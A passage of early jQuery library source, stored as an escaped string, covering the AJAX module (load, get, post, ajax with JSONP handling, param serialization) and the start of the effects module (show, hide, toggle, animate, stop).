\"GET\";\n\n\t\t// If the second parameter was provided\n\t\tif ( params ) {\n\t\t\t// If it's a function\n\t\t\tif ( jQuery.isFunction( params ) ) {\n\t\t\t\t// We assume that it's the callback\n\t\t\t\tcallback = params;\n\t\t\t\tparams = null;\n\n\t\t\t// Otherwise, build a param string\n\t\t\t} else if ( typeof params === \"object\" ) {\n\t\t\t\tparams = jQuery.param( params, jQuery.ajaxSettings.traditional );\n\t\t\t\ttype = \"POST\";\n\t\t\t}\n\t\t}\n\n\t\tvar self = this;\n\n\t\t// Request the remote document\n\t\tjQuery.ajax({\n\t\t\turl: url,\n\t\t\ttype: type,\n\t\t\tdataType: \"html\",\n\t\t\tdata: params,\n\t\t\tcomplete: function( res, status ) {\n\t\t\t\t// If successful, inject the HTML into all the matched elements\n\t\t\t\tif ( status === \"success\" || status === \"notmodified\" ) {\n\t\t\t\t\t// See if a selector was specified\n\t\t\t\t\tself.html( selector ?\n\t\t\t\t\t\t// Create a dummy div to hold the results\n\t\t\t\t\t\tjQuery(\"<div />\")\n\t\t\t\t\t\t\t// inject the contents of the document in, removing the scripts\n\t\t\t\t\t\t\t// to avoid any 'Permission Denied' errors in IE\n\t\t\t\t\t\t\t.append(res.responseText.replace(rscript, \"\"))\n\n\t\t\t\t\t\t\t// Locate the specified elements\n\t\t\t\t\t\t\t.find(selector) :\n\n\t\t\t\t\t\t// If not, just inject the full result\n\t\t\t\t\t\tres.responseText );\n\t\t\t\t}\n\n\t\t\t\tif ( callback ) {\n\t\t\t\t\tself.each( callback, [res.responseText, status, res] );\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\n\t\treturn this;\n\t},\n\n\tserialize: function() {\n\t\treturn jQuery.param(this.serializeArray());\n\t},\n\tserializeArray: function() {\n\t\treturn this.map(function() {\n\t\t\treturn this.elements ? jQuery.makeArray(this.elements) : this;\n\t\t})\n\t\t.filter(function() {\n\t\t\treturn this.name && !this.disabled &&\n\t\t\t\t(this.checked || rselectTextarea.test(this.nodeName) ||\n\t\t\t\t\trinput.test(this.type));\n\t\t})\n\t\t.map(function( i, elem ) {\n\t\t\tvar val = jQuery(this).val();\n\n\t\t\treturn val == null ?\n\t\t\t\tnull :\n\t\t\t\tjQuery.isArray(val) ?\n\t\t\t\t\tjQuery.map( val, function( val, i ) {\n\t\t\t\t\t\treturn { name: elem.name, value: val };\n\t\t\t\t\t}) :\n\t\t\t\t\t{ name: elem.name, value: val };\n\t\t}).get();\n\t}\n});\n\n// Attach a bunch of functions for handling common AJAX events\njQuery.each( \"ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend\".split(\" \"), function( i, o ) {\n\tjQuery.fn[o] = function( f ) {\n\t\treturn this.bind(o, f);\n\t};\n});\n\njQuery.extend({\n\n\tget: function( url, data, callback, type ) {\n\t\t// shift arguments if data argument was omited\n\t\tif ( jQuery.isFunction( data ) ) {\n\t\t\ttype = type || callback;\n\t\t\tcallback = data;\n\t\t\tdata = null;\n\t\t}\n\n\t\treturn jQuery.ajax({\n\t\t\ttype: \"GET\",\n\t\t\turl: url,\n\t\t\tdata: data,\n\t\t\tsuccess: callback,\n\t\t\tdataType: type\n\t\t});\n\t},\n\n\tgetScript: function( url, callback ) {\n\t\treturn jQuery.get(url, null, callback, \"script\");\n\t},\n\n\tgetJSON: function( url, data, callback ) {\n\t\treturn jQuery.get(url, data, callback, \"json\");\n\t},\n\n\tpost: function( url, data, callback, type ) {\n\t\t// shift arguments if data argument was omited\n\t\tif ( jQuery.isFunction( data ) ) {\n\t\t\ttype = type || callback;\n\t\t\tcallback = data;\n\t\t\tdata = {};\n\t\t}\n\n\t\treturn jQuery.ajax({\n\t\t\ttype: \"POST\",\n\t\t\turl: url,\n\t\t\tdata: data,\n\t\t\tsuccess: callback,\n\t\t\tdataType: type\n\t\t});\n\t},\n\n\tajaxSetup: function( settings ) {\n\t\tjQuery.extend( jQuery.ajaxSettings, settings );\n\t},\n\n\tajaxSettings: {\n\t\turl: location.href,\n\t\tglobal: true,\n\t\ttype: \"GET\",\n\t\tcontentType: \"application/x-www-form-urlencoded\",\n\t\tprocessData: true,\n\t\tasync: true,\n\t\t/*\n\t\ttimeout: 0,\n\t\tdata: null,\n\t\tusername: null,\n\t\tpassword: null,\n\t\ttraditional: false,\n\t\t*/\n\t\t// Create the request object; Microsoft failed to properly\n\t\t// implement the XMLHttpRequest in IE7 (can't request local files),\n\t\t// so we use the ActiveXObject when it is available\n\t\t// This function can be overriden by calling jQuery.ajaxSetup\n\t\txhr: window.XMLHttpRequest && (window.location.protocol !== \"file:\" || !window.ActiveXObject) ?\n\t\t\tfunction() {\n\t\t\t\treturn new window.XMLHttpRequest();\n\t\t\t} :\n\t\t\tfunction() {\n\t\t\t\ttry {\n\t\t\t\t\treturn new window.ActiveXObject(\"Microsoft.XMLHTTP\");\n\t\t\t\t} catch(e) {}\n\t\t\t},\n\t\taccepts: {\n\t\t\txml: \"application/xml, text/xml\",\n\t\t\thtml: \"text/html\",\n\t\t\tscript: \"text/javascript, application/javascript\",\n\t\t\tjson: \"application/json, text/javascript\",\n\t\t\ttext: \"text/plain\",\n\t\t\t_default: \"*/*\"\n\t\t}\n\t},\n\n\t// Last-Modified header cache for next request\n\tlastModified: {},\n\tetag: {},\n\n\tajax: function( origSettings ) {\n\t\tvar s = jQuery.extend(true, {}, jQuery.ajaxSettings, origSettings);\n\t\t\n\t\tvar jsonp, status, data,\n\t\t\tcallbackContext = origSettings && origSettings.context || s,\n\t\t\ttype = s.type.toUpperCase();\n\n\t\t// convert data if not already a string\n\t\tif ( s.data && s.processData && typeof s.data !== \"string\" ) {\n\t\t\ts.data = jQuery.param( s.data, s.traditional );\n\t\t}\n\n\t\t// Handle JSONP Parameter Callbacks\n\t\tif ( s.dataType === \"jsonp\" ) {\n\t\t\tif ( type === \"GET\" ) {\n\t\t\t\tif ( !jsre.test( s.url ) ) {\n\t\t\t\t\ts.url += (rquery.test( s.url ) ? \"&\" : \"?\") + (s.jsonp || \"callback\") + \"=?\";\n\t\t\t\t}\n\t\t\t} else if ( !s.data || !jsre.test(s.data) ) {\n\t\t\t\ts.data = (s.data ? s.data + \"&\" : \"\") + (s.jsonp || \"callback\") + \"=?\";\n\t\t\t}\n\t\t\ts.dataType = \"json\";\n\t\t}\n\n\t\t// Build temporary JSONP function\n\t\tif ( s.dataType === \"json\" && (s.data && jsre.test(s.data) || jsre.test(s.url)) ) {\n\t\t\tjsonp = s.jsonpCallback || (\"jsonp\" + jsc++);\n\n\t\t\t// Replace the =? sequence both in the query string and the data\n\t\t\tif ( s.data ) {\n\t\t\t\ts.data = (s.data + \"\").replace(jsre, \"=\" + jsonp + \"$1\");\n\t\t\t}\n\n\t\t\ts.url = s.url.replace(jsre, \"=\" + jsonp + \"$1\");\n\n\t\t\t// We need to make sure\n\t\t\t// that a JSONP style response is executed properly\n\t\t\ts.dataType = \"script\";\n\n\t\t\t// Handle JSONP-style loading\n\t\t\twindow[ jsonp ] = window[ jsonp ] || function( tmp ) {\n\t\t\t\tdata = tmp;\n\t\t\t\tsuccess();\n\t\t\t\tcomplete();\n\t\t\t\t// Garbage collect\n\t\t\t\twindow[ jsonp ] = undefined;\n\n\t\t\t\ttry {\n\t\t\t\t\tdelete window[ jsonp ];\n\t\t\t\t} catch(e) {}\n\n\t\t\t\tif ( head ) {\n\t\t\t\t\thead.removeChild( script );\n\t\t\t\t}\n\t\t\t};\n\t\t}\n\n\t\tif ( s.dataType === \"script\" && s.cache === null ) {\n\t\t\ts.cache = false;\n\t\t}\n\n\t\tif ( s.cache === false && type === \"GET\" ) {\n\t\t\tvar ts = now();\n\n\t\t\t// try replacing _= if it is there\n\t\t\tvar ret = s.url.replace(rts, \"$1_=\" + ts + \"$2\");\n\n\t\t\t// if nothing was replaced, add timestamp to the end\n\t\t\ts.url = ret + ((ret === s.url) ? (rquery.test(s.url) ? \"&\" : \"?\") + \"_=\" + ts : \"\");\n\t\t}\n\n\t\t// If data is available, append data to url for get requests\n\t\tif ( s.data && type === \"GET\" ) {\n\t\t\ts.url += (rquery.test(s.url) ? \"&\" : \"?\") + s.data;\n\t\t}\n\n\t\t// Watch for a new set of requests\n\t\tif ( s.global && ! jQuery.active++ ) {\n\t\t\tjQuery.event.trigger( \"ajaxStart\" );\n\t\t}\n\n\t\t// Matches an absolute URL, and saves the domain\n\t\tvar parts = rurl.exec( s.url ),\n\t\t\tremote = parts && (parts[1] && parts[1] !== location.protocol || parts[2] !== location.host);\n\n\t\t// If we're requesting a remote document\n\t\t// and trying to load JSON or Script with a GET\n\t\tif ( s.dataType === \"script\" && type === \"GET\" && remote ) {\n\t\t\tvar head = document.getElementsByTagName(\"head\")[0] || document.documentElement;\n\t\t\tvar script = document.createElement(\"script\");\n\t\t\tscript.src = s.url;\n\t\t\tif ( s.scriptCharset ) {\n\t\t\t\tscript.charset = s.scriptCharset;\n\t\t\t}\n\n\t\t\t// Handle Script loading\n\t\t\tif ( !jsonp ) {\n\t\t\t\tvar done = false;\n\n\t\t\t\t// Attach handlers for all browsers\n\t\t\t\tscript.onload = script.onreadystatechange = function() {\n\t\t\t\t\tif ( !done && (!this.readyState ||\n\t\t\t\t\t\t\tthis.readyState === \"loaded\" || this.readyState === \"complete\") ) {\n\t\t\t\t\t\tdone = true;\n\t\t\t\t\t\tsuccess();\n\t\t\t\t\t\tcomplete();\n\n\t\t\t\t\t\t// Handle memory leak in IE\n\t\t\t\t\t\tscript.onload = script.onreadystatechange = null;\n\t\t\t\t\t\tif ( head && script.parentNode ) {\n\t\t\t\t\t\t\thead.removeChild( script );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t};\n\t\t\t}\n\n\t\t\t// Use insertBefore instead of appendChild  to circumvent an IE6 bug.\n\t\t\t// This arises when a base node is used (#2709 and #4378).\n\t\t\thead.insertBefore( script, head.firstChild );\n\n\t\t\t// We handle everything using the script element injection\n\t\t\treturn undefined;\n\t\t}\n\n\t\tvar requestDone = false;\n\n\t\t// Create the request object\n\t\tvar xhr = s.xhr();\n\n\t\tif ( !xhr ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Open the socket\n\t\t// Passing null username, generates a login popup on Opera (#2865)\n\t\tif ( s.username ) {\n\t\t\txhr.open(type, s.url, s.async, s.username, s.password);\n\t\t} else {\n\t\t\txhr.open(type, s.url, s.async);\n\t\t}\n\n\t\t// Need an extra try/catch for cross domain requests in Firefox 3\n\t\ttry {\n\t\t\t// Set the correct header, if data is being sent\n\t\t\tif ( s.data || origSettings && origSettings.contentType ) {\n\t\t\t\txhr.setRequestHeader(\"Content-Type\", s.contentType);\n\t\t\t}\n\n\t\t\t// Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.\n\t\t\tif ( s.ifModified ) {\n\t\t\t\tif ( jQuery.lastModified[s.url] ) {\n\t\t\t\t\txhr.setRequestHeader(\"If-Modified-Since\", jQuery.lastModified[s.url]);\n\t\t\t\t}\n\n\t\t\t\tif ( jQuery.etag[s.url] ) {\n\t\t\t\t\txhr.setRequestHeader(\"If-None-Match\", jQuery.etag[s.url]);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Set header so the called script knows that it's an XMLHttpRequest\n\t\t\t// Only send the header if it's not a remote XHR\n\t\t\tif ( !remote ) {\n\t\t\t\txhr.setRequestHeader(\"X-Requested-With\", \"XMLHttpRequest\");\n\t\t\t}\n\n\t\t\t// Set the Accepts header for the server, depending on the dataType\n\t\t\txhr.setRequestHeader(\"Accept\", s.dataType && s.accepts[ s.dataType ] ?\n\t\t\t\ts.accepts[ s.dataType ] + \", */*\" :\n\t\t\t\ts.accepts._default );\n\t\t} catch(e) {}\n\n\t\t// Allow custom headers/mimetypes and early abort\n\t\tif ( s.beforeSend && s.beforeSend.call(callbackContext, xhr, s) === false ) {\n\t\t\t// Handle the global AJAX counter\n\t\t\tif ( s.global && ! --jQuery.active ) {\n\t\t\t\tjQuery.event.trigger( \"ajaxStop\" );\n\t\t\t}\n\n\t\t\t// close opended socket\n\t\t\txhr.abort();\n\t\t\treturn false;\n\t\t}\n\n\t\tif ( s.global ) {\n\t\t\ttrigger(\"ajaxSend\", [xhr, s]);\n\t\t}\n\n\t\t// Wait for a response to come back\n\t\tvar onreadystatechange = xhr.onreadystatechange = function( isTimeout ) {\n\t\t\t// The request was aborted\n\t\t\tif ( !xhr || xhr.readyState === 0 || isTimeout === \"abort\" ) {\n\t\t\t\t// Opera doesn't call onreadystatechange before this point\n\t\t\t\t// so we simulate the call\n\t\t\t\tif ( !requestDone ) {\n\t\t\t\t\tcomplete();\n\t\t\t\t}\n\n\t\t\t\trequestDone = true;\n\t\t\t\tif ( xhr ) {\n\t\t\t\t\txhr.onreadystatechange = jQuery.noop;\n\t\t\t\t}\n\n\t\t\t// The transfer is complete and the data is available, or the request timed out\n\t\t\t} else if ( !requestDone && xhr && (xhr.readyState === 4 || isTimeout === \"timeout\") ) {\n\t\t\t\trequestDone = true;\n\t\t\t\txhr.onreadystatechange = jQuery.noop;\n\n\t\t\t\tstatus = isTimeout === \"timeout\" ?\n\t\t\t\t\t\"timeout\" :\n\t\t\t\t\t!jQuery.httpSuccess( xhr ) ?\n\t\t\t\t\t\t\"error\" :\n\t\t\t\t\t\ts.ifModified && jQuery.httpNotModified( xhr, s.url ) ?\n\t\t\t\t\t\t\t\"notmodified\" :\n\t\t\t\t\t\t\t\"success\";\n\n\t\t\t\tvar errMsg;\n\n\t\t\t\tif ( status === \"success\" ) {\n\t\t\t\t\t// Watch for, and catch, XML document parse errors\n\t\t\t\t\ttry {\n\t\t\t\t\t\t// process the data (runs the xml through httpData regardless of callback)\n\t\t\t\t\t\tdata = jQuery.httpData( xhr, s.dataType, s );\n\t\t\t\t\t} catch(err) {\n\t\t\t\t\t\tstatus = \"parsererror\";\n\t\t\t\t\t\terrMsg = err;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Make sure that the request was successful or notmodified\n\t\t\t\tif ( status === \"success\" || status === \"notmodified\" ) {\n\t\t\t\t\t// JSONP handles its own success callback\n\t\t\t\t\tif ( !jsonp ) {\n\t\t\t\t\t\tsuccess();\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tjQuery.handleError(s, xhr, status, errMsg);\n\t\t\t\t}\n\n\t\t\t\t// Fire the complete handlers\n\t\t\t\tcomplete();\n\n\t\t\t\tif ( isTimeout === \"timeout\" ) {\n\t\t\t\t\txhr.abort();\n\t\t\t\t}\n\n\t\t\t\t// Stop memory leaks\n\t\t\t\tif ( s.async ) {\n\t\t\t\t\txhr = null;\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\n\t\t// Override the abort handler, if we can (IE doesn't allow it, but that's OK)\n\t\t// Opera doesn't fire onreadystatechange at all on abort\n\t\ttry {\n\t\t\tvar oldAbort = xhr.abort;\n\t\t\txhr.abort = function() {\n\t\t\t\tif ( xhr ) {\n\t\t\t\t\toldAbort.call( xhr );\n\t\t\t\t}\n\n\t\t\t\tonreadystatechange( \"abort\" );\n\t\t\t};\n\t\t} catch(e) { }\n\n\t\t// Timeout checker\n\t\tif ( s.async && s.timeout > 0 ) {\n\t\t\tsetTimeout(function() {\n\t\t\t\t// Check to see if the request is still happening\n\t\t\t\tif ( xhr && !requestDone ) {\n\t\t\t\t\tonreadystatechange( \"timeout\" );\n\t\t\t\t}\n\t\t\t}, s.timeout);\n\t\t}\n\n\t\t// Send the data\n\t\ttry {\n\t\t\txhr.send( type === \"POST\" || type === \"PUT\" || type === \"DELETE\" ? s.data : null );\n\t\t} catch(e) {\n\t\t\tjQuery.handleError(s, xhr, null, e);\n\t\t\t// Fire the complete handlers\n\t\t\tcomplete();\n\t\t}\n\n\t\t// firefox 1.5 doesn't fire statechange for sync requests\n\t\tif ( !s.async ) {\n\t\t\tonreadystatechange();\n\t\t}\n\n\t\tfunction success() {\n\t\t\t// If a local callback was specified, fire it and pass it the data\n\t\t\tif ( s.success ) {\n\t\t\t\ts.success.call( callbackContext, data, status, xhr );\n\t\t\t}\n\n\t\t\t// Fire the global callback\n\t\t\tif ( s.global ) {\n\t\t\t\ttrigger( \"ajaxSuccess\", [xhr, s] );\n\t\t\t}\n\t\t}\n\n\t\tfunction complete() {\n\t\t\t// Process result\n\t\t\tif ( s.complete ) {\n\t\t\t\ts.complete.call( callbackContext, xhr, status);\n\t\t\t}\n\n\t\t\t// The request was completed\n\t\t\tif ( s.global ) {\n\t\t\t\ttrigger( \"ajaxComplete\", [xhr, s] );\n\t\t\t}\n\n\t\t\t// Handle the global AJAX counter\n\t\t\tif ( s.global && ! --jQuery.active ) {\n\t\t\t\tjQuery.event.trigger( \"ajaxStop\" );\n\t\t\t}\n\t\t}\n\t\t\n\t\tfunction trigger(type, args) {\n\t\t\t(s.context ? jQuery(s.context) : jQuery.event).trigger(type, args);\n\t\t}\n\n\t\t// return XMLHttpRequest to allow aborting the request etc.\n\t\treturn xhr;\n\t},\n\n\thandleError: function( s, xhr, status, e ) {\n\t\t// If a local callback was specified, fire it\n\t\tif ( s.error ) {\n\t\t\ts.error.call( s.context || s, xhr, status, e );\n\t\t}\n\n\t\t// Fire the global callback\n\t\tif ( s.global ) {\n\t\t\t(s.context ? jQuery(s.context) : jQuery.event).trigger( \"ajaxError\", [xhr, s, e] );\n\t\t}\n\t},\n\n\t// Counter for holding the number of active queries\n\tactive: 0,\n\n\t// Determines if an XMLHttpRequest was successful or not\n\thttpSuccess: function( xhr ) {\n\t\ttry {\n\t\t\t// IE error sometimes returns 1223 when it should be 204 so treat it as success, see #1450\n\t\t\treturn !xhr.status && location.protocol === \"file:\" ||\n\t\t\t\t// Opera returns 0 when status is 304\n\t\t\t\t( xhr.status >= 200 && xhr.status < 300 ) ||\n\t\t\t\txhr.status === 304 || xhr.status === 1223 || xhr.status === 0;\n\t\t} catch(e) {}\n\n\t\treturn false;\n\t},\n\n\t// Determines if an XMLHttpRequest returns NotModified\n\thttpNotModified: function( xhr, url ) {\n\t\tvar lastModified = xhr.getResponseHeader(\"Last-Modified\"),\n\t\t\tetag = xhr.getResponseHeader(\"Etag\");\n\n\t\tif ( lastModified ) {\n\t\t\tjQuery.lastModified[url] = lastModified;\n\t\t}\n\n\t\tif ( etag ) {\n\t\t\tjQuery.etag[url] = etag;\n\t\t}\n\n\t\t// Opera returns 0 when status is 304\n\t\treturn xhr.status === 304 || xhr.status === 0;\n\t},\n\n\thttpData: function( xhr, type, s ) {\n\t\tvar ct = xhr.getResponseHeader(\"content-type\") || \"\",\n\t\t\txml = type === \"xml\" || !type && ct.indexOf(\"xml\") >= 0,\n\t\t\tdata = xml ? xhr.responseXML : xhr.responseText;\n\n\t\tif ( xml && data.documentElement.nodeName === \"parsererror\" ) {\n\t\t\tjQuery.error( \"parsererror\" );\n\t\t}\n\n\t\t// Allow a pre-filtering function to sanitize the response\n\t\t// s is checked to keep backwards compatibility\n\t\tif ( s && s.dataFilter ) {\n\t\t\tdata = s.dataFilter( data, type );\n\t\t}\n\n\t\t// The filter can actually parse the response\n\t\tif ( typeof data === \"string\" ) {\n\t\t\t// Get the JavaScript object, if JSON is used.\n\t\t\tif ( type === \"json\" || !type && ct.indexOf(\"json\") >= 0 ) {\n\t\t\t\tdata = jQuery.parseJSON( data );\n\n\t\t\t// If the type is \"script\", eval it in global context\n\t\t\t} else if ( type === \"script\" || !type && ct.indexOf(\"javascript\") >= 0 ) {\n\t\t\t\tjQuery.globalEval( data );\n\t\t\t}\n\t\t}\n\n\t\treturn data;\n\t},\n\n\t// Serialize an array of form elements or a set of\n\t// key/values into a query string\n\tparam: function( a, traditional ) {\n\t\tvar s = [];\n\t\t\n\t\t// Set traditional to true for jQuery <= 1.3.2 behavior.\n\t\tif ( traditional === undefined ) {\n\t\t\ttraditional = jQuery.ajaxSettings.traditional;\n\t\t}\n\t\t\n\t\t// If an array was passed in, assume that it is an array of form elements.\n\t\tif ( jQuery.isArray(a) || a.jquery ) {\n\t\t\t// Serialize the form elements\n\t\t\tjQuery.each( a, function() {\n\t\t\t\tadd( this.name, this.value );\n\t\t\t});\n\t\t\t\n\t\t} else {\n\t\t\t// If traditional, encode the \"old\" way (the way 1.3.2 or older\n\t\t\t// did it), otherwise encode params recursively.\n\t\t\tfor ( var prefix in a ) {\n\t\t\t\tbuildParams( prefix, a[prefix] );\n\t\t\t}\n\t\t}\n\n\t\t// Return the resulting serialization\n\t\treturn s.join(\"&\").replace(r20, \"+\");\n\n\t\tfunction buildParams( prefix, obj ) {\n\t\t\tif ( jQuery.isArray(obj) ) {\n\t\t\t\t// Serialize array item.\n\t\t\t\tjQuery.each( obj, function( i, v ) {\n\t\t\t\t\tif ( traditional ) {\n\t\t\t\t\t\t// Treat each array item as a scalar.\n\t\t\t\t\t\tadd( prefix, v );\n\t\t\t\t\t} else {\n\t\t\t\t\t\t// If array item is non-scalar (array or object), encode its\n\t\t\t\t\t\t// numeric index to resolve deserialization ambiguity issues.\n\t\t\t\t\t\t// Note that rack (as of 1.0.0) can't currently deserialize\n\t\t\t\t\t\t// nested arrays properly, and attempting to do so may cause\n\t\t\t\t\t\t// a server error. Possible fixes are to modify rack's\n\t\t\t\t\t\t// deserialization algorithm or to provide an option or flag\n\t\t\t\t\t\t// to force array serialization to be shallow.\n\t\t\t\t\t\tbuildParams( prefix + \"[\" + ( typeof v === \"object\" || jQuery.isArray(v) ? i : \"\" ) + \"]\", v );\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t\t\t\n\t\t\t} else if ( !traditional && obj != null && typeof obj === \"object\" ) {\n\t\t\t\t// Serialize object item.\n\t\t\t\tjQuery.each( obj, function( k, v ) {\n\t\t\t\t\tbuildParams( prefix + \"[\" + k + \"]\", v );\n\t\t\t\t});\n\t\t\t\t\t\n\t\t\t} else {\n\t\t\t\t// Serialize scalar item.\n\t\t\t\tadd( prefix, obj );\n\t\t\t}\n\t\t}\n\n\t\tfunction add( key, value ) {\n\t\t\t// If value is a function, invoke it and return its value\n\t\t\tvalue = jQuery.isFunction(value) ? value() : value;\n\t\t\ts[ s.length ] = encodeURIComponent(key) + \"=\" + encodeURIComponent(value);\n\t\t}\n\t}\n});\nvar elemdisplay = {},\n\trfxtypes = /toggle|show|hide/,\n\trfxnum = /^([+-]=)?([\\d+-.]+)(.*)$/,\n\ttimerId,\n\tfxAttrs = [\n\t\t// height animations\n\t\t[ \"height\", \"marginTop\", \"marginBottom\", \"paddingTop\", \"paddingBottom\" ],\n\t\t// width animations\n\t\t[ \"width\", \"marginLeft\", \"marginRight\", \"paddingLeft\", \"paddingRight\" ],\n\t\t// opacity animations\n\t\t[ \"opacity\" ]\n\t];\n\njQuery.fn.extend({\n\tshow: function( speed, callback ) {\n\t\tif ( speed || speed === 0) {\n\t\t\treturn this.animate( genFx(\"show\", 3), speed, callback);\n\n\t\t} else {\n\t\t\tfor ( var i = 0, l = this.length; i < l; i++ ) {\n\t\t\t\tvar old = jQuery.data(this[i], \"olddisplay\");\n\n\t\t\t\tthis[i].style.display = old || \"\";\n\n\t\t\t\tif ( jQuery.css(this[i], \"display\") === \"none\" ) {\n\t\t\t\t\tvar nodeName = this[i].nodeName, display;\n\n\t\t\t\t\tif ( elemdisplay[ nodeName ] ) {\n\t\t\t\t\t\tdisplay = elemdisplay[ nodeName ];\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\tvar elem = jQuery(\"<\" + nodeName + \" />\").appendTo(\"body\");\n\n\t\t\t\t\t\tdisplay = elem.css(\"display\");\n\n\t\t\t\t\t\tif ( display === \"none\" ) {\n\t\t\t\t\t\t\tdisplay = \"block\";\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\telem.remove();\n\n\t\t\t\t\t\telemdisplay[ nodeName ] = display;\n\t\t\t\t\t}\n\n\t\t\t\t\tjQuery.data(this[i], \"olddisplay\", display);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Set the display of the elements in a second loop\n\t\t\t// to avoid the constant reflow\n\t\t\tfor ( var j = 0, k = this.length; j < k; j++ ) {\n\t\t\t\tthis[j].style.display = jQuery.data(this[j], \"olddisplay\") || \"\";\n\t\t\t}\n\n\t\t\treturn this;\n\t\t}\n\t},\n\n\thide: function( speed, callback ) {\n\t\tif ( speed || speed === 0 ) {\n\t\t\treturn this.animate( genFx(\"hide\", 3), speed, callback);\n\n\t\t} else {\n\t\t\tfor ( var i = 0, l = this.length; i < l; i++ ) {\n\t\t\t\tvar old = jQuery.data(this[i], \"olddisplay\");\n\t\t\t\tif ( !old && old !== \"none\" ) {\n\t\t\t\t\tjQuery.data(this[i], \"olddisplay\", jQuery.css(this[i], \"display\"));\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Set the display of the elements in a second loop\n\t\t\t// to avoid the constant reflow\n\t\t\tfor ( var j = 0, k = this.length; j < k; j++ ) {\n\t\t\t\tthis[j].style.display = \"none\";\n\t\t\t}\n\n\t\t\treturn this;\n\t\t}\n\t},\n\n\t// Save the old toggle function\n\t_toggle: jQuery.fn.toggle,\n\n\ttoggle: function( fn, fn2 ) {\n\t\tvar bool = typeof fn === \"boolean\";\n\n\t\tif ( jQuery.isFunction(fn) && jQuery.isFunction(fn2) ) {\n\t\t\tthis._toggle.apply( this, arguments );\n\n\t\t} else if ( fn == null || bool ) {\n\t\t\tthis.each(function() {\n\t\t\t\tvar state = bool ? fn : jQuery(this).is(\":hidden\");\n\t\t\t\tjQuery(this)[ state ? \"show\" : \"hide\" ]();\n\t\t\t});\n\n\t\t} else {\n\t\t\tthis.animate(genFx(\"toggle\", 3), fn, fn2);\n\t\t}\n\n\t\treturn this;\n\t},\n\n\tfadeTo: function( speed, to, callback ) {\n\t\treturn this.filter(\":hidden\").css(\"opacity\", 0).show().end()\n\t\t\t\t\t.animate({opacity: to}, speed, callback);\n\t},\n\n\tanimate: function( prop, speed, easing, callback ) {\n\t\tvar optall = jQuery.speed(speed, easing, callback);\n\n\t\tif ( jQuery.isEmptyObject( prop ) ) {\n\t\t\treturn this.each( optall.complete );\n\t\t}\n\n\t\treturn this[ optall.queue === false ? \"each\" : \"queue\" ](function() {\n\t\t\tvar opt = jQuery.extend({}, optall), p,\n\t\t\t\thidden = this.nodeType === 1 && jQuery(this).is(\":hidden\"),\n\t\t\t\tself = this;\n\n\t\t\tfor ( p in prop ) {\n\t\t\t\tvar name = p.replace(rdashAlpha, fcamelCase);\n\n\t\t\t\tif ( p !== name ) {\n\t\t\t\t\tprop[ name ] = prop[ p ];\n\t\t\t\t\tdelete prop[ p ];\n\t\t\t\t\tp = name;\n\t\t\t\t}\n\n\t\t\t\tif ( prop[p] === \"hide\" && hidden || prop[p] === \"show\" && !hidden ) {\n\t\t\t\t\treturn opt.complete.call(this);\n\t\t\t\t}\n\n\t\t\t\tif ( ( p === \"height\" || p === \"width\" ) && this.style ) {\n\t\t\t\t\t// Store display property\n\t\t\t\t\topt.display = jQuery.css(this, \"display\");\n\n\t\t\t\t\t// Make sure that nothing sneaks out\n\t\t\t\t\topt.overflow = this.style.overflow;\n\t\t\t\t}\n\n\t\t\t\tif ( jQuery.isArray( prop[p] ) ) {\n\t\t\t\t\t// Create (if needed) and add to specialEasing\n\t\t\t\t\t(opt.specialEasing = opt.specialEasing || {})[p] = prop[p][1];\n\t\t\t\t\tprop[p] = prop[p][0];\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( opt.overflow != null ) {\n\t\t\t\tthis.style.overflow = \"hidden\";\n\t\t\t}\n\n\t\t\topt.curAnim = jQuery.extend({}, prop);\n\n\t\t\tjQuery.each( prop, function( name, val ) {\n\t\t\t\tvar e = new jQuery.fx( self, opt, name );\n\n\t\t\t\tif ( rfxtypes.test(val) ) {\n\t\t\t\t\te[ val === \"toggle\" ? hidden ? \"show\" : \"hide\" : val ]( prop );\n\n\t\t\t\t} else {\n\t\t\t\t\tvar parts = rfxnum.exec(val),\n\t\t\t\t\t\tstart = e.cur(true) || 0;\n\n\t\t\t\t\tif ( parts ) {\n\t\t\t\t\t\tvar end = parseFloat( parts[2] ),\n\t\t\t\t\t\t\tunit = parts[3] || \"px\";\n\n\t\t\t\t\t\t// We need to compute starting value\n\t\t\t\t\t\tif ( unit !== \"px\" ) {\n\t\t\t\t\t\t\tself.style[ name ] = (end || 1) + unit;\n\t\t\t\t\t\t\tstart = ((end || 1) / e.cur(true)) * start;\n\t\t\t\t\t\t\tself.style[ name ] = start + unit;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// If a +=/-= token was provided, we're doing a relative animation\n\t\t\t\t\t\tif ( parts[1] ) {\n\t\t\t\t\t\t\tend = ((parts[1] === \"-=\" ? -1 : 1) * end) + start;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\te.custom( start, end, unit );\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\te.custom( start, val, \"\" );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\n\t\t\t// For JS strict compliance\n\t\t\treturn true;\n\t\t});\n\t},\n\n\tstop: function( clearQueue, gotoEnd ) {\n\t\tvar timers = jQuery.timers;\n\n\t\tif ( clearQueue ) {\n\t\t\tthis.queue([]);\n\t\t}\n\n\t\tthis.each(function() {\n\t\t\t// go in reverse order so anything added to the queue during the loop is ignored\n\t\t\tfor ( var i = timers.length - 1; i >= 0; i-- ) {\n\t\t\t\tif ( timers[i].elem === this ) {\n\t\t\t\t\tif (gotoEnd) {\n\t\t\t\t\t\t// force the next step to be the last\n\t\t\t\t\t\ttimers[i](true);\n\t\t\t\t\t}\n\n\t\t\t\t\ttimers.splice(i, 1);\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\n\t\t// start the next in the queue if the last step wasn't forced\n\t\tif ( 